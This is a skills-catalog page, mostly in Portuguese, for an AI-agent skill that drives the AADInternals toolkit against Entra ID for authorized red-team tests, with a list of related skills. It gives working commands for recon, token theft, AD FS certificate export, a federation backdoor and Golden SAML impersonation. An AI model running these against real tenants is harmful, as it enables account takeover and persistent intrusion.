Communitygithub.com

Auditando Entra ID com AADInternals

Utilize o kit de ferramentas PowerShell AADInternals para realizar reconhecimento de inquilino do Microsoft Entra ID, aquisição de tokens de acesso através de APIs da Microsoft e testes de backdoor de federação/AD FS (Golden SAML, T1606.002) para validação defensiva. Use durante uma avaliação de red-team autorizada do Entra ID/Microsoft 365 para mapear a superfície de ataque externa ou verificar se os certificados de assinatura do AD FS resistem ao Golden SAML.

O que é Auditando Entra ID com AADInternals?

Esta habilidade utiliza o AADInternals, um kit de ferramentas PowerShell ofensivo/administrativo abrangente para Microsoft Entra ID, Azure AD Connect e Active Directory Federation Services (AD FS), criado pelo Dr. Nestori Syynimaa. A habilidade separa as capacidades por posição: reconhecimento não autenticado (Invoke-AADIntReconAsOutsider, Get-AADIntLoginInformation) que consulta endpoints públicos para revelar domínios verificados, ID do inquilino e tipo de federação; aquisição de tokens de acesso (Get-AADIntAccessTokenFor*) para APIs como Microsoft Graph, Exchange Online e SharePoint; e, com privilégios elevados, manipulação de diretório e backdoors de federação. A principal técnica abordada é o T1606.002 (Forge Web Credentials: SAML Tokens), equivalente ao ataque Golden SAML usado nas invasões SolarWinds. O fluxo de trabalho orienta o usuário através de sete etapas: reconhecimento externo, enumeração de usuários, aquisição de tokens, enumeração de diretório autenticada, inspeção da configuração de federação/AD FS, teste controlado de backdoor/Golden SAML e documentação de exposição com recomendações de hardening. O objetivo final é permitir que profissionais de segurança validem defesas contra ataques de identidade, especialmente a capacidade de forjar tokens SAML através de backdoors de federação, fornecendo evidências concretas e orientações de mitigação.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-entra-id-with-aadinternals

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

O que Auditando Entra ID com AADInternals faz?

Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados, engajamentos de red-team e fins educacionais. O AADInternals pode forjar tokens SAML e instalar backdoors de federação que concedem personificação persistente de qualquer usuário do inquilino. Use apenas contra inquilinos que você possui ou com autorização escrita explícita (regras de engajamento) para testar. O uso não autorizado viola o Computer Fraud and Abuse Act e leis equivalentes.

Visão Geral

O AADInternals é o kit de ferramentas PowerShell ofensivo/administrativo mais abrangente para Microsoft Entra ID (anteriormente Azure AD), Azure AD Connect e Active Directory Federation Services (AD FS), criado pelo Dr. Nestori Syynimaa (Gerenios / Secureworks). Ele expõe centenas de cmdlets (todos prefixados com AADInt) cobrindo reconhecimento externo não autenticado, aquisição de tokens de acesso para todas as APIs da Microsoft, manipulação de diretório, ataques AD FS/PTA e a técnica pela qual é mais famoso: backdoors de federação que abusam do caminho Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor para que um invasor que controla o IssuerUri de um domínio federado possa cunhar tokens SAML para usuários arbitrários — mapeando para MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), a mesma classe de técnica usada nas invasões SolarWinds (Golden SAML).

O kit de ferramentas separa as capacidades por posição necessária. Invoke-AADIntReconAsOutsider e Get-AADIntLoginInformation não exigem credenciais — eles consultam endpoints públicos (getuserrealm, configuração OpenID, autodiscover) para revelar domínios verificados, ID do inquilino, tipo de federação, marca e se o SSO Desktop/Seamless está ativado. Com um ponto de apoio, os cmdlets Get-AADIntAccessTokenFor* adquirem tokens para Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management e mais, opcionalmente armazenando-os em cache para que cmdlets subsequentes os reutilizem. Com Administrador Global (ou uma conta AD Connect sincronizada), o kit de ferramentas pode ler segredos de diretório, manipular usuários e estabelecer o backdoor de federação.

Esta habilidade impulsiona o AADInternals através de uma lente de validação defensiva: confirmar o que um invasor externo pode aprender, o que um token com baixos privilégios alcança e se a configuração de federação/AD FS permitiria Golden SAML — em seguida, produzir evidências e recomendações de hardening.

Quando Usar

  • Durante uma avaliação autorizada de red-team do Entra ID / Microsoft 365 ou simulação de invasão
  • Para enumerar a superfície de ataque externa (domínios verificados, tipo de federação, SSO) antes de ataques de credenciais
  • Para validar que os certificados de assinatura de token de federação e AD FS estão protegidos contra Golden SAML
  • Para testar aquisição e replay de tokens em APIs próprias da Microsoft
  • Ao construir detecções (combine com a habilidade de caça de log do Graph do time azul) e você precisar de telemetria real do AADInternals

Pré-requisitos

  • Autorização por escrito cobrindo testes de ataque de identidade e backdoor de federação
  • Host Windows com PowerShell 5.1+ (ou PowerShell 7 no subconjunto suportado)
  • Para testes de backdoor/federação: Administrador Global (ou equivalente) no inquilino alvo, dentro do escopo conforme as ROE
  • Instale o módulo da Galeria do PowerShell:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # Uma reimplementação multiplataforma AsOutsider-only (sem credenciais) também está disponível:
    #   https://github.com/synacktiv/AADOutsider-py
    
  • Familiaridade com SAML/WS-Federation, tokens OAuth e Azure AD Connect

Objetivos

  • Realizar reconhecimento de inquilino não autenticado e enumerar domínios verificados, ID do inquilino e tipo de federação
  • Adquirir e armazenar em cache tokens de acesso para APIs próprias da Microsoft
  • Enumerar usuários/grupos/funções com um token autenticado
  • Testar o backdoor de federação / caminho Golden SAML de maneira controlada e autorizada
  • Documentar a exposição e entregar recomendações de hardening (proteção de certificado de assinatura de token, monitoramento de federação)

Mapeamento MITRE ATT&CK

IDTécnicaAplicação nesta habilidade
T1606.002Forge Web Credentials: SAML TokensConvertTo-AADIntBackdoor + New-AADIntSAMLToken forjam tokens SAML para usuários arbitrários através de um IssuerUri de federação controlado (Golden SAML)

Técnicas relacionadas: T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (aquisição de token), T1556.007 Modify Authentication Process: Hybrid Identity (backdoors de federação/PTA).

Fluxo de Trabalho

Passo 1: Reconhecimento externo não autenticado

Nenhuma credencial necessária. Identifique domínios verificados, ID do inquilino, tipo de federação, marca e status SSO.

# Recon externo completo para um domínio (saída em tabela)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# Detalhes de login/reino: federação vs gerenciado, AuthURL, marca
Get-AADIntLoginInformation -Domain "target.com"

# GUID do inquilino
Get-AADIntTenantID -Domain "target.com"

Passo 2: Enumeração de usuários externos (opcional, ruidosa)

Valide se nomes de usuário existem através dos endpoints GetCredentialType / autologon.

# Forneça uma lista de UPNs candidatos para testar a existência
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Ou canalize vários:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider

Passo 3: Adquirir e armazenar tokens de acesso em cache

Com credenciais válidas (ou um prompt interativo), obtenha tokens para a API necessária. -SaveToCache permite que cmdlets posteriores reutilizem o token automaticamente.

# Token do Azure AD Graph (graph.windows.net legado), armazenado em cache
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

Passo 4: Enumeração de diretório autenticada

Usando um token armazenado em cache/adquirido, leia objetos de diretório para mapear privilégios.

# Informações globais do inquilino (usa token do AAD Graph em cache)
Get-AADIntTenantDetails

# Enumere usuários e procure por contas privilegiadas/sincronizadas
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

Passo 5: Inspecionar configuração de federação / AD FS

Determine se o inquilino usa domínios federados e onde as chaves de assinatura de token residem — o pré-requisito para Golden SAML.

# Se você tiver acesso ao servidor AD FS, exporte o certificado de assinatura de token
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Leia a configuração / chaves de criptografia do AD FS (no servidor AD FS ou via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com

Passo 6: Backdoor de federação / Golden SAML (apenas autorizado)

Converta um domínio em um backdoor definindo um IssuerUri conhecido, em seguida forje um token SAML para um usuário alvo usando o ImmutableId desse domínio. Apenas em um inquilino controlado com autorização explícita.

# Requer um token de Administrador Global (AAD Graph) armazenado em cache no Passo 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# A saída inclui o IssuerUri para reutilizar ao forjar tokens.

# Forje um token SAML personificando um usuário (ImmutableId de Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# Use o token forjado para abrir uma sessão do portal como o usuário personificado
Open-AADIntOffice365Portal -SAMLToken $saml

Passo 7: Documentar exposição e endurecer

Capture exatamente o que o reconhecimento revelou, quais tokens/APIs estavam acessíveis e se o caminho backdoor/Golden SAML teve sucesso. Recomende: proteger certificados de assinatura de token do AD FS (HSM, acesso DKM restrito), alertar sobre novas/alterações de relações de confiança de federação, monitorar Set-DomainAuthentication/Set-MsolDomainFederationSettings e migrar, quando viável, para autenticação gerenciada (nuvem).

Ferramentas e Recursos

RecursoPropósitoFonte
AADInternalsKit de ferramentas de ataque/administração Entra ID / AD FShttps://github.com/Gerenios/AADInternals
Documentação AADInternalsReferência de cmdlets e artigos de técnicahttps://aadinternals.com/aadinternals/
AADOutsider-pyReimplementação multiplataforma AsOutsiderhttps://github.com/synacktiv/AADOutsider-py
Informações Golden SAMLArtigo sobre técnica de backdoor de federaçãohttps://aadinternals.com/post/aadbackdoor/
MITRE T1606.002Forge Web Credentials: SAML Tokenshttps://attack.mitre.org/techniques/T1606/002/

Referência Rápida de Cmdlets

CmdletPosiçãoPropósito
Invoke-AADIntReconAsOutsiderNenhumaDomínios verificados, ID do inquilino, tipo de federação, SSO
Get-AADIntLoginInformationNenhumaDetalhes de reino/login para um domínio
Get-AADIntTenantIDNenhumaGUID do inquilino
Invoke-AADIntUserEnumerationAsOutsiderNenhumaValidar existência de usuário
Get-AADIntAccessTokenForAADGraphCredenciaisToken do Azure AD Graph (-SaveToCache)
Get-AADIntAccessTokenForMSGraphCredenciaisToken do Microsoft Graph
Get-AADIntAccessTokenForEXOCredenciaisToken do Exchange Online
Get-AADIntUsersTokenEnumerar usuários do diretório
ConvertTo-AADIntBackdoorAdmin GlobalConverter um domínio em um backdoor de federação
New-AADIntSAMLTokenBackdoorForjar um token SAML para um usuário (Golden SAML)
Open-AADIntOffice365PortalToken SAMLAbrir uma sessão do portal como o usuário personificado

Critérios de Validação

  • Reconhecimento externo concluído; domínios verificados, ID do inquilino e tipo de federação registrados
  • Enumeração de usuários testada (ou documentada como fora do escopo)
  • Token de acesso adquirido e armazenado em cache para pelo menos uma API da Microsoft
  • Enumeração de diretório autenticada realizada (usuários/funções, contas sincronizadas anotadas)
  • Configuração de federação / AD FS avaliada quanto à exposição de chave de assinatura de token
  • Caminho backdoor / Golden SAML testado em um inquilino controlado autorizado ou documentado como fora do escopo
  • Exposição documentada com impacto concreto
  • Recomendações de hardening entregues (proteção de certificado, monitoramento de federação, migração para autenticação gerenciada)

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Habilidades Relacionadas